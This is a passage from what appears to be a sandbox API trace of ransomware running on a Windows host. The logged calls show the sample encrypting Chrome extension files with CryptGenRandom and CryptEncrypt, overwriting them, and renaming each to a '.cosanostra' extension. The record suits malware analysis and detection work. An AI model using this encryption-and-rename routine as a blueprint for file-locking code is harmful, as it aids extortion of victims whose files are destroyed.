Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.cosanostra")) returned 1 [0086.119] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf768 | out: pbBuffer=0x2abf768) returned 1 [0086.119] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf760*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf760*=0x30) returned 1 [0086.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.119] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 155 [0086.119] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.120] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.120] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x2abf724, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf724*=0xad, lpOverlapped=0x0) returned 1 [0086.120] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.120] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf764*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf724, lpOverlapped=0x0 | out: lpBuffer=0x2abf764*, lpNumberOfBytesWritten=0x2abf724*=0x4, lpOverlapped=0x0) returned 1 [0086.120] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf724, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf724*=0x30, lpOverlapped=0x0) returned 1 [0086.120] CloseHandle (hObject=0x18c) returned 1 [0086.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0086.122] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf760 | out: pbBuffer=0x2abf760) returned 1 [0086.122] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf758*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf758*=0x30) returned 1 [0086.122] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.122] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 155 [0086.122] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.123] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.123] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x2abf71c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf71c*=0xcf, lpOverlapped=0x0) returned 1 [0086.123] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.123] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf75c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf71c, lpOverlapped=0x0 | out: lpBuffer=0x2abf75c*, lpNumberOfBytesWritten=0x2abf71c*=0x4, lpOverlapped=0x0) returned 1 [0086.123] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf71c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf71c*=0x30, lpOverlapped=0x0) returned 1 [0086.123] CloseHandle (hObject=0x18c) returned 1 [0086.123] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0086.125] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf758 | out: pbBuffer=0x2abf758) returned 1 [0086.125] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf750*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf750*=0x30) returned 1 [0086.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.125] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 155 [0086.125] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.126] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeb5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.126] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x2abf714, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf714*=0x14b, lpOverlapped=0x0) returned 1 [0086.126] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.126] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf754*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf714, lpOverlapped=0x0 | out: lpBuffer=0x2abf754*, lpNumberOfBytesWritten=0x2abf714*=0x4, lpOverlapped=0x0) returned 1 [0086.126] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf714, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf714*=0x30, lpOverlapped=0x0) returned 1 [0086.126] CloseHandle (hObject=0x18c) returned 1 [0086.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.cosanostra")) returned 1 [0086.128] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf750 | out: pbBuffer=0x2abf750) returned 1 [0086.128] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf748*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf748*=0x30) returned 1 [0086.128] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.128] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 155 [0086.128] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.129] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.129] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2abf70c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf70c*=0x114, lpOverlapped=0x0) returned 1 [0086.129] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.129] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf74c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf70c, lpOverlapped=0x0 | out: lpBuffer=0x2abf74c*, lpNumberOfBytesWritten=0x2abf70c*=0x4, lpOverlapped=0x0) returned 1 [0086.130] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf70c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf70c*=0x30, lpOverlapped=0x0) returned 1 [0086.130] CloseHandle (hObject=0x18c) returned 1 [0086.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0086.131] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf748 | out: pbBuffer=0x2abf748) returned 1 [0086.131] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf740*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf740*=0x30) returned 1 [0086.131] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.132] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 155 [0086.132] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.132] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.132] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0x2abf704, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf704*=0xa7, lpOverlapped=0x0) returned 1 [0086.132] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.132] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf744*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf704, lpOverlapped=0x0 | out: lpBuffer=0x2abf744*, lpNumberOfBytesWritten=0x2abf704*=0x4, lpOverlapped=0x0) returned 1 [0086.134] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf704, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf704*=0x30, lpOverlapped=0x0) returned 1 [0086.134] CloseHandle (hObject=0x18c) returned 1 [0086.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.cosanostra")) returned 1 [0086.136] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf740 | out: pbBuffer=0x2abf740) returned 1 [0086.136] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf738*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf738*=0x30) returned 1 [0086.137] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.137] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 155 [0086.137] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.138] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.138] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x2abf6fc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6fc*=0xed, lpOverlapped=0x0) returned 1 [0086.139] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.139] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf73c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6fc, lpOverlapped=0x0 | out: lpBuffer=0x2abf73c*, lpNumberOfBytesWritten=0x2abf6fc*=0x4, lpOverlapped=0x0) returned 1 [0086.139] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6fc*=0x30, lpOverlapped=0x0) returned 1 [0086.139] CloseHandle (hObject=0x18c) returned 1 [0086.139] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.cosanostra")) returned 1 [0086.141] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf738 | out: pbBuffer=0x2abf738) returned 1 [0086.141] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf730*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf730*=0x30) returned 1 [0086.141] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.141] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 155 [0086.141] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.142] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffefd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.142] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x2abf6f4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6f4*=0x103, lpOverlapped=0x0) returned 1 [0086.142] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.142] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf734*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf734*, lpNumberOfBytesWritten=0x2abf6f4*=0x4, lpOverlapped=0x0) returned 1 [0086.142] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6f4*=0x30, lpOverlapped=0x0) returned 1 [0086.142] CloseHandle (hObject=0x18c) returned 1 [0086.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.cosanostra")) returned 1 [0086.143] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf730 | out: pbBuffer=0x2abf730) returned 1 [0086.143] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf728*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf728*=0x30) returned 1 [0086.143] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.144] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 155 [0086.144] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.144] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.145] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x2abf6ec, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf6ec*=0x84, lpOverlapped=0x0) returned 1 [0086.145] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.145] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf72c*, lpNumberOfBytesWritten=0x2abf6ec*=0x4, lpOverlapped=0x0) returned 1 [0086.145] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, 